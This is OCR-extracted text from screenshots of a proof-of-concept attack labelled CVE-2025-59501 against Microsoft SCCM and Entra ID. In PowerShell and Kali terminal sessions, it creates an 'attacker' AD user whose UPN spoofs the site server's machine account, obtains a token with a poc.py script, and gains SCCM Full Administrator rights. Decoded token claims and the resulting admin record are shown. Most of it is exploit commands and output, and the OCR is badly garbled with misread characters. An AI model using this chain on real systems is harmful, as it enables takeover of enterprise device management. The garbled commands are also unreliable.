


EN Administrator: Windows PowerShell

PS C:\Users\domainadmin> New-ADUser

ew-ADUser -Name "attacker™ -SamAccountName "attacker" -UserPrincipalName "sccm-sites nsigned-sh@rt.net"

o-SecureString ) |
PS C:\Users\domainadmin> Get-ADuser attacker #get token
uv run poc.py token \
-u sccm-sitesrv\$@unsigned-shl@rt.net \
-p password -c¢ 'dl1632e6e-ab4d-45c4-becB8-025e739049a5" \
DistinguishedName : CN=attacker,CN=Users,DC=unsipgned-shert,DC=net -t 5322ad36-c494-487a-b80f - fb655ed9cblc \
Enabled D e -s api://5322ad36-c494-487a-b80f-fb655ed9Ic61c/F293c84c-b195-40c5-becc-0a23c1fdbedb
GivenName
Name : attacker #remove UPN
ObjectClass . user Set-aduser -Identity attacker -Replace @{UserPrincipalName="attacker@unsigned-sh@rt.net"}
ObjectGUID : 9add8ed6-46b4-44c4-8bc2-8765¢cal9392a
SamAccountName : attacker #get admin
v / '. - . . . \
SID : $-1-5-21-1655157935-1649372912-2222376283-1128 i ek s e
Surname : -s $-1-5-21-1655157935-1649372912-2222376283-1124 \
UserPrincipalName : sccm-sitesrv$@unsigned-shert.net -a

PS C:\Users\domainadmin> _

Ln1, Col1 Wing LF) UTF-8

O m B h 2 4 Ay BN

11/15/2025

1T
L 1}
o




EN kali®scem-kali: ~/CVE-2025

hNTY2NzAyODY4Iiwic3ViIjoiOTRBaGFYMULnN1c1lUDdkakpYMXolakd3alowbmlfc3NMT25TcjF2SnBjg
aZyIsInRpZCI6IjUzMjIhZDM2LWMEOTQtNDg3YS1i0DBmLWZiNjU1ZWQ5YzYXYyIsInVuaXF1ZVouYWl
1Ijoic2NjbS1zaXR1c3J2JEB1bnNpZ251ZC1zaDBydC5uZXQilCI1cG410iIzY2NtLXNpdGVzenYKQHV
uc21lnbmVkLXNoMHIOLMS1dCIsInVOaSI6InowRURYYOIMNUVSYKFVQMOZXz1XQUELLCI2ZXIi01iIXL jA KRR
1LCI4bXNFfZnRkIjoibGR4LVN3ZEVFS3pqRHRYUHIhWESIbVFCLWNrc ENGbWNUZEpMZINSb2FuVUIKWES
SWVhOMExXUnpiWE@ifQ.aewl-8_z9aqSi-uKWyooEKO3fhhMo_-BAc_xRcCGHXYWo7Y-a-u766wsEE®s
X95MFZCvaldIghXpef7yLRoYLgTphiv5cdVeGce - EGK22QqUMggV78A1d0ud46tPox5SK -HUXyqOlbZTKS
i1am22hPbIZXfgNUWPCSGPWBZptno5ilglYIQaDMSwwgoPUWaVepTyQSsb_OkhUSRYodGI6IMDNG3 i L It e e
E2GpPON61i1H1 -quR-NQMbBAYEd6c6AkI6h82z420gV10roNegAxFqgF - 3kt tKQP1Wj3DVAenkYKKbgDp

New-ADUser -Name "attacker™ -SamAccountName “"attacker" -UserPrincipalName "sccm-sitesrv$@unsigned-sh@rt.net”
Get-ADuser -Identity attacker

p3QBMLCrozMfsaFgnIBKcIESyzo8rVWa0SCkoTHFLA #remove UP
{ Set-aduser -Identity attacker -Replace @{UserPrincipalName="attacker@unsigned-sh@rt.net"}
"acr": "1",
"aio": "AUQAu/8aAAAAicwlIuoc@6tFodblx+bv/6GY64FSdijCmwtEXLVGUGRKNNFbP1r60dIU ] IEEESEELE )
djRG+HOUEQ+iKuROv5de+gGeaFavlg==", fzgﬁlpitpyammn~t 10.6.10.15 \
“"amr": [ I -5 $-1-5-21-1655157935-1649372912-2222376283-1124 \
"de" -a
1,

"appid": "d1632e6e-ab4d-45c4-bec8-025e739049a5",

"appidacr": "@",

"aud": "api://5322ad36-c494-487a-b80f-fb655ed9c61lc/F293¢c84c-b195-40c5-becc-0
a23c1fdbeSb",

"exp": 1763188610,

"iat": 1763184073,

"ipaddr": "174.174.7.206",

"iss": "https://sts.windows.net/5322ad36-c494-487a-b80f-fb655ed9c61c/",

"name": "attacker",

"nbf": 1763184073,

"oid": "4dcbalc3-830a-4779-a3cd-9bcac@ladd24",

"onprem_sid": "S-1-5-21-1655157935-1649372912-2222376283-1127",

"rh": "1.AVKANg@iUSTEekid4D_t1XtnGHEzIk_KVscVAvswKI8HSvpudAHpZAA.",

"scp": "user_impersonation”,

"sid": "@@aa2a99-cbaf-6db7-ab3a-85a566702868",

"sub": "94AhaX1IgéW5P7djIX1z5jGwkZOnm_ssLOnSrivlpZg",

"tid": "5322ad36-c494-487a-b80f-fb655ed9c61c”,

"unique_name": "sccm-sitesrv$@unsigned-shert.net",
"upn": "sccm-sitesrv$@unsigned-shért.net",

"uti": "zOEDXcBLSEybAoBoY_SWAA",

"ver’: “1:07;

"xms_ftd": "1ldx-SwdEEKzjDtrPraXOImQB-ckpCFmcTdILFfSRoanUBAXN1YXNOLWRzbXM"

~/CVE-2025-59501

Ln5, Col 1 100% Windows (CRLF) UTF-8

12:26 AM
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EN Administrator: Windows PowerShell — a X

PS C:\Users\domainadmin> New-ADUser

New-ADUser -Name "attacker™ -SamAccountName “"attacker" -UserPrincipalName "sccm-sitesrv$@unsigned-sh@rt.net”
S Stri x ) (COﬂVGI"tT Get-ADuser -Identity attacker
o-SecureString |
PS C:\Users\domainadmin> Get-ADuser attacker #get token
uv run poc.py token \
scem-sitesrv\$@unsigned-sh@rt.net \
password -c 1632e6e-ab4d-45c4-bec8-025e739049a5" \
DistinguishedName : CN=attacker,CN=Users,DC=unsigned-sh@rt,DC=net 5322ad36-c494-487a-b80f -fb655edIc61c \
Enabled D -s api://5322ad36-c494-487a-b80f-Fb655ed9c61c/F293c84c-b195-40c5-becc-0a23c1fdbedb
GivenName
Name : attacker #remove UPN
ObjectClass : user Set-aduser -Identity attacker -Re palName="attacke
ObjectGUID : S9add80d6-46b4-44c4-8bc2-8765cal9392a
SamAccountName : attacker #get admin
J ] 'l - = %, . \
SID : $-1-5-21-1655157935-1649372912-2222376283-1128 el el o e
Surname : -5 §-1-5-21-1655157935-1649372912-2222376283-1124 \
UserPrincipalName : sccm-sitesrv$@unsigned-shert.net -a
PS C:\Users\domainadmin> Set-aduser attacker @{UserPrincipalN
ame : ‘ 3=
3

Ln 13, Col 1 100% Windows (CRLF) UTF-8

1T
L 1}
o

12:26 AM
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E¥ kali@scem-kali: ~/CVE-2025-59501 = m] X

sEE@sX95MFZCvaldIghXpef7yLRoYLgTphiv5cdVeGe - EGK22QqUMggV78A1d0ud46tPox5SK-HUXyqOlle
bZTKSilam22hPbIZXfgNUwPCSGPwBZptno5iUgJYIQaDMSwwgoPUWaVcpTyQSsb_OkhUSRYodGI6SIMDN
G3fiLE2GpP9N6i1H1 -quR-NQMbBAYEd6c6AkI6h82z42z0gV1oroNegAxFqghF -3kt tKQP1Wj3DVAenkYK
KbgDpp3QBMLCrozMfsaFgnJIBKcIE9yzo8rVWaOSCkoTHFLA

"@odata.context": "https://sccm-siteRrv.unsigned-shert.net/AdminService_Toke
nAuth/wmi/$metadata#SMS_Admin/$entity",

"@odata.etag": "16777220",

"AccountType": 128,

"AdminID": 16777220,

"AdminSid": "S-1-5-21-1655157935-1649372912-2222376283-1124",

"Categories": [

"SMS@ALL"
1,
"CategoryNames": [
"All"
1,

"CollectionNames™: [
"All Systems",
"All Users and User Groups"
1,
"CreatedBy": "unsigned-shert\\SCCM-SITESRV$",
"CreatedDate": "2025-11-15T7©5:27:07Z2",
"DisplayName": "brcc",
"DistinguishedName": "",
"ExtendedData": [],
"IsCovered": false,
"IsDeleted": false,
"IsGroup": false,
"LastModifiedBy": "unsigned-shert\\SCCM-SITESRV$",
"LastModifiedDate": "2025-11-15T05:27:07Z",

"LogonName": "brcc",
"Permissions": [
{

"CategoryID": "SMS@@ALL",
"CategoryName": "All",
"CategoryTypeID": 29,

"RoleID": "SMS@@Q1R",
"RoleName": "Full Administrator"

"CategoryID": "SMSeeeel",

"CategoryName": "All Systems",
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